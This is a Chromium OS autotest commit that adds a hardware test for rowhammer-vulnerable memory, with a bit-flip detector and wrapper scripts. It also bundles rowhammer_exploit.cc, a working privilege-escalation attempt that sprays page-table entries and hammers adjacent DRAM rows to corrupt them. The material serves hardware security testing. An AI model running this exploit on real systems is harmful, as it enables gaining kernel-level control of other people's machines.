autotest: Add hardware_UnsafeMemory

Move hardware_UnsafeMemory from private repo to public.

BUG=b:146936298
TEST=Ran hardware_UnsafeMemory

Cq-Depend: chrome-internal:2419659, chrome-internal:2419660, chromium:2001708
Change-Id: I6c98e5c20ae1ffde4488a4bc32bdf48723574bb6
Reviewed-on: https://chromium-review.googlesource.com/c/chromiumos/third_party/autotest/+/2001645
Reviewed-by: Todd Broch <tbroch@chromium.org>
Tested-by: Puthikorn Voravootivat <puthik@chromium.org>
Auto-Submit: Puthikorn Voravootivat <puthik@chromium.org>
Commit-Queue: Puthikorn Voravootivat <puthik@chromium.org>
diff --git a/client/site_tests/hardware_UnsafeMemory/control b/client/site_tests/hardware_UnsafeMemory/control
new file mode 100644
index 0000000..6b6ffa6
--- /dev/null
+++ b/client/site_tests/hardware_UnsafeMemory/control
@@ -0,0 +1,23 @@
+# Copyright (c) 2014 The Chromium OS Authors. All rights reserved.
+# Use of this source code is governed by a BSD-style license that can be
+# found in the LICENSE file.
+
+NAME = 'hardware_UnsafeMemory'
+AUTHOR = 'drewry'
+PURPOSE = 'Check for unsafe memory with https://code.google.com/a/google.com/p/rowhammer-test/'
+CRITERIA = 'Fails if memory is unsafe'
+TIME = 'MEDIUM'
+TEST_CATEGORY = 'security'
+TEST_CLASS = 'hardware'
+TEST_TYPE = 'client'
+# TODO(wad) once we have an arm and 32-bit build, we need it in hwqual.
+#SUITE = 'hwqual'
+JOB_RETRIES = 0
+
+DOC = """
+This test uses rowhammer-test to find memory faults that may lead to violations
+of runtime expectations.
+"""
+
+# Run the test for 5 hours.
+job.run_test('hardware_UnsafeMemory', sec=5*60*60)
diff --git a/client/site_tests/hardware_UnsafeMemory/control.quick b/client/site_tests/hardware_UnsafeMemory/control.quick
new file mode 100644
index 0000000..ce78950
--- /dev/null
+++ b/client/site_tests/hardware_UnsafeMemory/control.quick
@@ -0,0 +1,23 @@
+# Copyright (c) 2018 The Chromium OS Authors. All rights reserved.
+# Use of this source code is governed by a BSD-style license that can be
+# found in the LICENSE file.
+
+NAME = 'hardware_UnsafeMemory.quick'
+AUTHOR = 'puthik'
+PURPOSE = 'Make sure that hardware_UnsafeMemory working properly.'
+CRITERIA = 'Fails if memory is unsafe'
+TIME = 'SHORT'
+TEST_CATEGORY = 'security'
+TEST_CLASS = 'hardware'
+TEST_TYPE = 'client'
+JOB_RETRIES = 0
+
+DOC = """
+This test uses rowhammer-test to find memory faults that may lead to violations
+of runtime expectations.
+
+The quick version run for 30 seconds to make sure that the test is working.
+"""
+
+# Run the test for 30 seconds.
+job.run_test('hardware_UnsafeMemory', sec=30, tag=NAME.split('.')[1])
diff --git a/client/site_tests/hardware_UnsafeMemory/hardware_UnsafeMemory.py b/client/site_tests/hardware_UnsafeMemory/hardware_UnsafeMemory.py
new file mode 100644
index 0000000..68062be
--- /dev/null
+++ b/client/site_tests/hardware_UnsafeMemory/hardware_UnsafeMemory.py
@@ -0,0 +1,62 @@
+# Copyright (c) 2014 The Chromium OS Authors. All rights reserved.
+# Use of this source code is governed by a BSD-style license that can be
+# found in the LICENSE file.
+
+import logging, os, subprocess
+
+from autotest_lib.client.bin import test, utils
+from autotest_lib.client.common_lib import error
+
+class hardware_UnsafeMemory(test.test):
+    """
+      This test runs for the specified number of seconds
+      checking for user-controllable memory corruption using
+      the rowhammer-test tools:
+         https://code.google.com/a/google.com/p/rowhammer-test
+    """
+
+    version = 1
+    _DIR_NAME = 'rowhammer-test-4d619293e1c7'
+
+    def setup(self):
+        os.chdir(os.path.join(self.srcdir, self._DIR_NAME))
+        utils.make('clean')
+        utils.make('all')
+
+    def get_thermals(self):
+        therm0 = '-'
+        therm1 = '-'
+        try:
+            therm0 = utils.read_file(
+                '/sys/devices/virtual/thermal/thermal_zone0/temp')
+        except:
+            pass
+        try:
+            therm1 = utils.read_file(
+                '/sys/devices/virtual/thermal/thermal_zone1/temp')
+        except:
+            pass
+        return (therm0, therm1)
+
+    def run_once(self, sec=(60*25)):
+        """
+        Executes the test and logs the output.
+
+        @param sec: seconds to test memory
+        """
+        self._hammer_path = os.path.join(self.srcdir, self._DIR_NAME,
+                                         'rowhammer_test')
+        logging.info('cmd: %s %d' % (self._hammer_path, sec))
+        # Grab the CPU temperature before hand if possible.
+        logging.info('start temp: %s %s' % self.get_thermals())
+        try:
+            output = subprocess.check_output([self._hammer_path, '%d' % sec])
+            logging.info("run complete. Output below:")
+            logging.info(output)
+        except subprocess.CalledProcessError, e:
+            logging.error("Unsafe memory found!")
+            logging.error(e.output)
+            logging.info('end temp: %s %s' % self.get_thermals())
+            raise error.TestFail('Unsafe memory found!')
+        logging.info('end temp: %s %s' % self.get_thermals())
+        return True
diff --git a/client/site_tests/hardware_UnsafeMemory/src/rowhammer-test-4d619293e1c7/Makefile b/client/site_tests/hardware_UnsafeMemory/src/rowhammer-test-4d619293e1c7/Makefile
new file mode 100644
index 0000000..6734f78
--- /dev/null
+++ b/client/site_tests/hardware_UnsafeMemory/src/rowhammer-test-4d619293e1c7/Makefile
@@ -0,0 +1,19 @@
+# Copyright (c) 2010 The Chromium OS Authors. All rights reserved.
+# Use of this source code is governed by a BSD-style license that can be
+# found in the LICENSE file.
+
+TMPDIR = `mktemp -d`
+BINS = rowhammer_test
+SRC = rowhammer_test.cc
+OBJS = rowhammer_test.o
+
+all: $(BINS)
+
+rowhammer_test: $(OBJS)
+	$(CXX) -static $(CXXFLAGS) -o $@ $^
+
+.cc.o:
+	$(CXX) $(CXXFLAGS) -c $< -o $@
+
+clean:
+	@rm $(BINS) $(OBJS) || true
diff --git a/client/site_tests/hardware_UnsafeMemory/src/rowhammer-test-4d619293e1c7/rowhammer_exploit.cc b/client/site_tests/hardware_UnsafeMemory/src/rowhammer-test-4d619293e1c7/rowhammer_exploit.cc
new file mode 100644
index 0000000..c3d94f3
--- /dev/null
+++ b/client/site_tests/hardware_UnsafeMemory/src/rowhammer-test-4d619293e1c7/rowhammer_exploit.cc
@@ -0,0 +1,390 @@
+/*
+ * An attempt at escalating privileges under Linux systems whose RAM is 
+ * vulnerable to row hammering.
+ *
+ * Work by mseaborn@google.com and thomasdullien@google.com
+ *
+ * We can probabilistically flip random bits in physical memory in memory rows
+ * "close" to the rows we are hammering. In order to exploit this, we wish to
+ * have a (physical) memory layout that looks roughly like this:
+ *
+ * [Physical pages used by the kernel as PTEs for a mapping we have access to] 
+ * [Physical page that gets hammered]
+ * [Physical pages used by the kernel as PTEs for a mapping we have access to]
+ * [Physical page that gets hammered]
+ * (...)
+ *
+ * We wish to reach a point where a high fraction of physical memory is filled
+ * with this pattern. When we cause a bit-flip in a physical page adjacent to
+ * one we are hammering, we are corrupting a PTE for a page that is mapped into
+ * our virtual address space.
+ *
+ * If we succeed in corrupting one of the bits for indexing into the physical
+ * pages, we have a high probability that we will now have a RW mapping of a
+ * part of our processes page table; this should allow us full privilege 
+ * escalation.
+ *
+ * In order to obtain the desired layout in physical memory, we perform the
+ * following actions:
+ *
+ * (1) Reserve a 1GB chunk for hammering, but do not allocate it yet.
+ * (2) mmap() a file repeatedly into our address space to force the OS to create
+ *     PTEs. For each 512m we map, we get 1m of PTEs.
+ * (3) Touch the first/next page from the 1GB chunk.
+ * (4) Repeat steps (2) and (3) until physical memory is full.
+ * (5) Start row-hammering the 1GB area for a while.
+ * (6) Iterate over all mappings created in step (2), and check whether they map
+ *     to the correct page.
+ * (7) If they do, we have lost. Goto (5).
+ * (8) If they don't, we have won.
+ *
+ *
+ */
+
+#include <assert.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <inttypes.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mount.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <sys/sysinfo.h>
+#include <sys/wait.h>
+#include <time.h>
+#include <unistd.h>
+
+// Abort the attack after a given number of attempts at inducing bit flips.
+const uint32_t maximum_tries = 1024;
+
+const size_t hammer_workspace_size = 1ULL << 32;
+const int toggles = 540000;
+
+const uint64_t size_of_pte_sprays = 1ULL << 22;
+const uint64_t size_of_hammer_targets = 1ULL << 20;
+
+const char* mapped_filename = "./mapped_file.bin";
+ 
+// Reserve, but do not map, a range of addresses of a given size.
+uint8_t* reserve_address_space(uint64_t size) {
+  uint8_t* mapping = (uint8_t*)mmap(NULL, size, PROT_NONE, 
+      MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
+  if (mapping == (void*)-1) {
+    printf("[E] Failed to reserve %lx of address space, exiting\n", size);
+    exit(1);
+  }
+  return mapping;
+}
+
+// Spray PTEs into kernel space by repeatedly mapping the same file into a
+// given pre-reserved area of memory. 
+//
+// Returns the "end" of the mappings, e.g. the first address past the last file
+// mapping that was created during the PTE spray.
+uint8_t* spray_pte(
+    uint8_t* address, uint64_t size_of_pte_spray, int file_descriptor,
+    uint64_t file_size) {
+
+  uint64_t size_of_sprayed_ptes = 0;
+  while (size_of_sprayed_ptes < size_of_pte_spray) {
+    void* mapping = mmap(address, file_size, PROT_READ | PROT_WRITE, 
+        MAP_POPULATE | MAP_SHARED | MAP_FIXED, file_descriptor, 0);
+    size_of_sprayed_ptes += file_size / 512;
+    address += file_size + (file_size % 0x1000);  // Round up to next page size.
+
+    if (mapping == (void*)-1) {
+      printf("[E] Failed to spray PTE's (%s).\n", strerror(errno));
+      exit(1);
+    }
+  }
+  return address;
+}
+
+// Create and write the file that will be mapped later.
+void create_and_write_file_to_be_mapped() {
+  FILE* mapfile = fopen(mapped_filename, "wb");
+  char pagedata[0x1000];
+  uint16_t* start_page = (uint16_t*)&pagedata[0];
+  memset(pagedata, 'X', sizeof(pagedata));
+
+  for (uint32_t i = 0; i <= 0xFFFF; ++i) {
+    start_page[0] = (uint16_t)i;
+    fwrite(pagedata, sizeof(pagedata), sizeof(char), mapfile);
+    fflush(mapfile);
+  }
+  fclose(mapfile);
+}
+
+// Obtain the size of the physical memory of the system.
+uint64_t get_physical_memory_size() {
+  struct sysinfo info;
+  sysinfo( &info );
+  return (size_t)info.totalram * (size_t)info.mem_unit;
+}
+
+// Pick a random page in the memory region.
+uint8_t* pick_addr(uint8_t* area_base, uint64_t mem_size) {
+  size_t offset = (rand() << 12) % mem_size;
+  return area_base + offset;
+}
+
+// Helper class to show timing information during the hammering.
+class Timer {
+  struct timespec start_time_;
+
+ public:
+  Timer() {
+    int rc = clock_gettime(CLOCK_MONOTONIC, &start_time_);
+    assert(rc == 0);
+  }
+
+  double get_diff() {
+    struct timespec end_time;
+    int rc = clock_gettime(CLOCK_MONOTONIC, &end_time);
+    assert(rc == 0);
+    return (end_time.tv_sec - start_time_.tv_sec
+            + (double) (end_time.tv_nsec - start_time_.tv_nsec) / 1e9);
+  }
+
+  void print_iters(uint64_t iterations) {
+    double total_time = get_diff();
+    double iter_time = total_time / iterations;
+    printf("  %.3f nanosec per iteration: %g sec for %" PRIu64 " iterations\n",
+           iter_time * 1e9, total_time, iterations);
+  }
+};
+
+static void row_hammer(int iterations, int addr_count, uint8_t* area, 
+    uint64_t size) {
+  Timer t;
+  for (int j = 0; j < iterations; j++) {
+    uint32_t num_addrs = addr_count;
+    volatile uint32_t *addrs[num_addrs];
+    for (int a = 0; a < addr_count; a++) { 
+      addrs[a] = (uint32_t *) pick_addr(area, size); 
+    }
+
+    uint32_t sum = 0;
+    for (int i = 0; i < toggles; i++) {
+      for (int a = 0; a < addr_count; a++) 
+        sum += *addrs[a] + 1;
+      for (int a = 0; a < addr_count; a++)
+        asm volatile("clflush (%0)" : : "r" (addrs[a]) : "memory");
+    }
+
+    // Just some code to make sure the above summation is not optimized out.
+    if (sum != 0) {
+      printf("[!] Sum was %lx\n", (uint64_t)sum);
+    }
+  }
+  t.print_iters(iterations * addr_count * toggles);
+}
+
+void dump_page(uint8_t* data) {
+  for (int i = 0; i < 0x1000; ++i) {
+    if (i % 32 == 0) {
+      printf("\n");
+    }
+    printf("%2.2x ", data[i]);
+  }
+  printf("\n");
+}
+
+bool check_hammer_area_integrity(uint8_t *hammer_area, uint64_t max_size) {
+  bool no_corruption = true;
+  for (uint8_t* check = hammer_area; 
+    check < hammer_area + max_size; ++check) {
+    if (*check != 0xFF) {
+      dump_page(check);
+      printf("[!] Found bitflip inside hammer workspace at %lx.\n", 
+        check-hammer_area);
+      no_corruption = false;
+    }
+  }
+  return no_corruption;
+}
+
+bool check_mapping_integrity(uint8_t* mapping, uint64_t max_size) {
+  bool first_page_ok =
+    (mapping[0] == 0) && (mapping[1] == 0) && (mapping[2] =='X');
+  bool all_pages_ok = true;
+
+  if (!first_page_ok) {
+    return false;
+  }
+
+  // Check for all following pages that the dwords at the beginning of the 
+  // pages are in ascending order.
+  for (uint8_t* check_pointer = mapping + 0x1000; 
+      check_pointer < mapping+max_size; check_pointer += 0x1000) {
+    uint16_t* previous_page = (uint16_t*)(check_pointer-0x1000);
+    uint16_t* current_page = (uint16_t*)check_pointer;
+    uint16_t previous_page_counter = previous_page[0];
+    uint16_t current_page_counter = current_page[0];
+    //printf("%u == %u ?\n", (uint16_t)(previous_page_counter+1), 
+    //    (uint16_t)current_page_counter);
+    if ((uint16_t)(previous_page_counter + 1) != 
+        (uint16_t)current_page_counter) {
+      printf("[!] Possible winning ticket found at %lx\n", 
+          (uint64_t)check_pointer);
+      printf("[!] Expected page counter %x, got %x.", 
+          (uint16_t)(previous_page_counter+1), (uint16_t)current_page_counter);
+      // Dump the hexadecimal contents of the page.
+      dump_page(check_pointer);
+      all_pages_ok = false;  
+    }
+  } 
+  return all_pages_ok;
+}
+
+uint64_t get_physical_address(uint64_t virtual_address) {
+  int fd = open("/proc/self/pagemap", O_RDONLY);
+  assert(fd >=0);
+
+  off_t pos = lseek(fd, (virtual_address / 0x1000) * 8, SEEK_SET);
+  assert(pos >= 0);
+  uint64_t value;
+  int got = read(fd, &value, 8);
+
+  close(fd);
+  assert(got == 8);
+  return ((value & ((1ULL << 54)-1)) * 0x1000) | 
+    (virtual_address & 0xFFF);
+}
+
+void dump_physical_addresses(uint8_t* mapping, uint64_t max_size) {
+  for (uint8_t* begin = mapping; begin < mapping + max_size; begin += 0x1000) {
+    printf("[!] Virtual %lx -> Physical %lx\n", (uint64_t)begin, 
+        get_physical_address((uint64_t)begin));
+  }
+}
+
+int main(int argc, char**argv) {
+  // Reserve a massive (16 TB) area of address space for us to fill with file 
+  // mappings of a file - the goal is to fill physical memory with PTEs.
+  uint8_t* file_map_workspace = reserve_address_space(1ULL << 44);
+
+  // Allocate, but do not yet populate a 1GB area of memory that we are going to
+  // hammer.
+  uint8_t* hammer_workspace = (uint8_t*) mmap(NULL, hammer_workspace_size,
+      PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
+
+  printf("[!] Creating file to be mapped.\n");
+  create_and_write_file_to_be_mapped();
+
+  // Obtain the physical memory size of the current system.
+  uint64_t physical_memory_size = get_physical_memory_size();
+  printf("[!] System has %ld bytes of physical memory\n", physical_memory_size);
+
+  // Open the file that we will repeatedly map to spray PTEs.
+  int mapped_file_descriptor = open(mapped_filename, O_RDWR);
+  struct stat st;
+  if (stat(mapped_filename, &st) != 0) {
+    printf("[E] Failed to stat %s, exiting.\n", mapped_filename);
+    exit(1);
+  }
+  uint64_t file_size = st.st_size;
+
+  // A rough estimate on how much physical memory has been sprayed.
+  uint64_t physical_memory_consumed = 0;
+  uint8_t* current_pointer_into_file_map_workspace = file_map_workspace;
+  uint8_t* current_pointer_into_hammer_workspace = hammer_workspace;
+  // Aim to spray into 90% of physical memory.
+  while (physical_memory_consumed <= (0.1 * (double)physical_memory_size)) {
+
+    // Spray a bunch of PTEs.
+    current_pointer_into_file_map_workspace = 
+      spray_pte(current_pointer_into_file_map_workspace, size_of_pte_sprays,
+          mapped_file_descriptor, file_size);
+    // Was the PTE spraying successful?
+    if (current_pointer_into_file_map_workspace == (uint8_t*)-1) {
+      printf("[!] Failed to spray PTEs after having consumed %lx bytes.", 
+          physical_memory_consumed);
+      exit(1);
+    }
+    physical_memory_consumed += size_of_pte_sprays;
+
+    // Now touch a bunch of pages in the hammer workspace to have physical pages
+    // allocated for them.
+    for (uint64_t size_counter = 0; size_counter < size_of_hammer_targets;
+        size_counter += 0x1000) {
+      if ((current_pointer_into_hammer_workspace + size_counter) < 
+          hammer_workspace + hammer_workspace_size) {
+        memset(current_pointer_into_hammer_workspace + size_counter, 0xFF, 
+            0x1000);
+      }
+    }
+    current_pointer_into_hammer_workspace += size_of_hammer_targets;
+    physical_memory_consumed += size_of_hammer_targets;
+    printf("[!] Should have consumed ~%ld bytes of physical memory\n", 
+        physical_memory_consumed);
+  }
+
+  // All memory should be properly set up to be hammered. Check the integrity
+  // pre-hammering.
+  printf("[!] Finished creating physical memory layout.\n");
+  
+  uint64_t hammer_area_size = current_pointer_into_hammer_workspace - 
+    hammer_workspace;
+  uint64_t mapping_area_size = current_pointer_into_file_map_workspace -
+    file_map_workspace;
+
+  // Dump virtual addresses to the console so we can inspect where they end up
+  // in physical memory.
+  printf("[!] Hammer workspace is at %lx and of %" PRId64 ".\n",
+      (uint64_t)hammer_workspace, hammer_area_size);
+  printf("[!] File mappings are at %lx and of %" PRId64 " size.\n",
+      (uint64_t)file_map_workspace, mapping_area_size);
+
+  // Dump virtual-to-physical mapping for the hammer area and the file mapping.
+  printf("[!] Dumping physical addresses for hammer workspace.\n");
+  dump_physical_addresses(hammer_workspace, hammer_area_size);
+  printf("[!] Dumping physical addresses for file mapping.\n");
+  dump_physical_addresses(file_map_workspace, file_size);
+
+  printf("[!] Checking integrity of mapping prior to hammering ... ");
+  if (check_mapping_integrity(file_map_workspace, mapping_area_size)) {
+    printf("PASS\n");
+  } else {
+    printf("FAIL\n");
+  }
+
+  printf("[!] Checking integrity of mapping workspace prior to hammering ... ");
+  fflush(stdout);
+  if (check_hammer_area_integrity(hammer_workspace, hammer_area_size)) {
+    printf("PASS\n");
+  } else {
+    printf("FAIL\n");
+  }
+
+  // Begin the actual hammering.
+  for (int tries = 0; tries < maximum_tries; ++tries) {
+    // Hammer memory.
+    printf("[!] About to hammer for a few minutes.\n");
+    row_hammer(3000, 4, hammer_workspace, current_pointer_into_hammer_workspace -
+        hammer_workspace);
+
+    // Attempt to verify the integrity of the mapping.
+    printf("[!] Done hammering. Now checking mapping integrity.\n");
+    if (!check_mapping_integrity(file_map_workspace, 
+        current_pointer_into_file_map_workspace-file_map_workspace)) {
+      fgetc(stdin);
+    } else {
+      printf("[!] No PTE entries modified\n");
+    }
+
+    printf("[!] Checking integrity of mapping workspace post-hammering ... ");
+    fflush(stdout);
+    if (check_hammer_area_integrity(hammer_workspace, 
+        current_pointer_into_hammer_workspace - hammer_workspace)) {
+       printf("PASS\n");
+    } else {
+      printf("FAIL\n");
+    }
+
+  }
+}
+
diff --git a/client/site_tests/hardware_UnsafeMemory/src/rowhammer-test-4d619293e1c7/rowhammer_test.cc b/client/site_tests/hardware_UnsafeMemory/src/rowhammer-test-4d619293e1c7/rowhammer_test.cc
new file mode 100644
index 0000000..88d5abd
--- /dev/null
+++ b/client/site_tests/hardware_UnsafeMemory/src/rowhammer-test-4d619293e1c7/rowhammer_test.cc
@@ -0,0 +1,199 @@
+
+// This is required on Mac OS X for getting PRI* macros #defined.
+#define __STDC_FORMAT_MACROS
+
+#include <assert.h>
+#include <fcntl.h>
+#include <inttypes.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mount.h>
+#include <sys/mman.h>
+#include <sys/time.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <time.h>
+#include <unistd.h>
+
+const size_t mem_size = (1 << 30)/4;
+const int toggles = 540000;
+
+const uint64_t pte_pattern = 0xb7d02580000003C5;
+char *g_mem;
+
+// Pick a random page in the memory region.
+uint8_t* pick_addr(uint8_t* area_base, uint64_t mem_size) {
+  size_t offset = (rand() << 12) % mem_size;
+  return area_base + offset;
+}
+
+class Timer {
+  struct timeval start_time_;
+
+ public:
+  Timer() {
+    // Note that we use gettimeofday() (with microsecond resolution)
+    // rather than clock_gettime() (with nanosecond resolution) so
+    // that this works on Mac OS X, because OS X doesn't provide
+    // clock_gettime() and we don't really need nanosecond resolution.
+    int rc = gettimeofday(&start_time_, NULL);
+    assert(rc == 0);
+  }
+
+  double get_diff() {
+    struct timeval end_time;
+    int rc = gettimeofday(&end_time, NULL);
+    assert(rc == 0);
+    return (end_time.tv_sec - start_time_.tv_sec
+            + (double) (end_time.tv_usec - start_time_.tv_usec) / 1e6);
+  }
+
+  void print_iters(uint64_t iterations) {
+    double total_time = get_diff();
+    double iter_time = total_time / iterations;
+    printf("%.3fns,%g,%" PRIu64,
+           iter_time * 1e9, total_time, iterations);
+  }
+};
+
+uint64_t get_physical_address(uint64_t virtual_address) {
+  int fd = open("/proc/self/pagemap", O_RDONLY);
+  assert(fd >=0);
+
+  off_t pos = lseek(fd, (virtual_address / 0x1000) * 8, SEEK_SET);
+  assert(pos >= 0);
+  uint64_t value;
+  int got = read(fd, &value, 8);
+
+  close(fd);
+  assert(got == 8);
+  return ((value & ((1ULL << 54)-1)) * 0x1000) | 
+    (virtual_address & 0xFFF);
+}
+
+static int sigint = 0;
+static void sigint_handler(int signum) {
+  sigint = 1;
+}
+static int sigquit = 0;
+static void sigquit_handler(int signum) {
+  sigint = 1;
+  sigquit = 1;
+}
+
+static void toggle(int iterations, int addr_count) {
+  Timer t;
+  for (int j = 0; j < iterations; j++) {
+    volatile uint32_t *addrs[addr_count];
+    for (int a = 0; a < addr_count; a++) {
+      addrs[a] = (uint32_t *) pick_addr((uint8_t*)g_mem, mem_size);
+      //printf(" Hammering virtual address %16lx, physical address %16lx\n",
+      //(uint64_t)addrs[a], get_physical_address((uint64_t)addrs[a]));
+    }
+
+    // TODO(wad) try the approach from github.com/CMU-SAFARI/rowhammer
+    //           as it may be faster.
+    uint32_t sum = 0;
+    for (int i = 0; i < toggles; i++) {
+      for (int a = 0; a < addr_count; a++)
+        sum += *addrs[a] + 1;
+      for (int a = 0; a < addr_count; a++)
+        asm volatile("clflush (%0)" : : "r" (addrs[a]) : "memory");
+    }
+    if (sigint) {
+      sigint = 0;
+      break;
+    }
+  }
+  t.print_iters(iterations * addr_count * toggles);
+}
+
+void main_prog() {
+  g_mem = (char *) mmap(NULL, mem_size, PROT_READ | PROT_WRITE,
+                        MAP_ANON | MAP_PRIVATE, -1, 0);
+  assert(g_mem != MAP_FAILED);
+
+  // printf("clear\n");
+
+  //memset(g_mem, 0xff, mem_size);
+
+  // Fill memory with pattern that resembles page tables entries.
+  // c5 03 00 00 80 25 d0 b7
+ for (uint32_t i = 0; i < mem_size; i += 8) {
+    uint64_t* ptr = (uint64_t*)(&g_mem[i]);
+    *ptr = pte_pattern;
+  }
+
+  Timer t;
+  int iter = 0;
+  for (;;) {
+    printf("%d,%.2fs,", iter++, t.get_diff());
+    fflush(stdout);
+    toggle(3000, 4);
+
+    Timer check_timer;
+    // printf("check\n");
+    uint64_t *end = (uint64_t *) (g_mem + mem_size);
+    uint64_t *ptr;
+    int errors = 0;
+    for (ptr = (uint64_t *) g_mem; ptr < end; ptr++) {
+      uint64_t got = *ptr;
+      if (got != pte_pattern) {
+        fprintf(stderr, "error at %p (%16lx): got 0x%" PRIx64 "\n", ptr, get_physical_address((uint64_t)ptr), got);
+        fprintf(stderr, "after %.2fs\n", t.get_diff());
+        errors++;
+      }
+    }
+    printf(",%fs", check_timer.get_diff());
+    fflush(stdout);
+    if (errors) {
+      printf(",%d\n", errors);
+      fflush(stdout);
+      exit(1);
+    }
+    printf(",0\n");
+    fflush(stdout);
+    if (sigquit)
+      break;
+  }
+}
+
+
+int main(int argc, char **argv) {
+  // In case we are running as PID 1, we fork() a subprocess to run
+  // the test in.  Otherwise, if process 1 exits or crashes, this will
+  // cause a kernel panic (which can cause a reboot or just obscure
+  // log output and prevent console scrollback from working).
+  // Output should look like:
+  // [iteration #],[relative start offset in sec],[itertime in ns],[total time in s],[iteration count],[check time in s],[error count]
+  signal(SIGINT, &sigint_handler);
+  signal(SIGQUIT, &sigquit_handler);
+  int pid = fork();
+  if (pid == 0) {
+    main_prog();
+    _exit(1);
+  }
+
+  int status;
+  int sec = argc == 2 ? atoi(argv[1]) : 60*60;
+  while (sec--) {
+    if (sigint) {
+      sigint = 0;
+      kill(pid, SIGINT);
+      if (sigquit)
+        break;
+    }
+    if (waitpid(pid, &status, WNOHANG) == pid) {
+      printf("** exited with status %i (0x%x)\n", status, status);
+      exit(status);
+    }
+    sleep(1);
+  }
+  kill(pid, SIGQUIT);
+  sleep(1);
+  kill(pid, SIGKILL);
+  // Let init reap.
+  return 0;
+}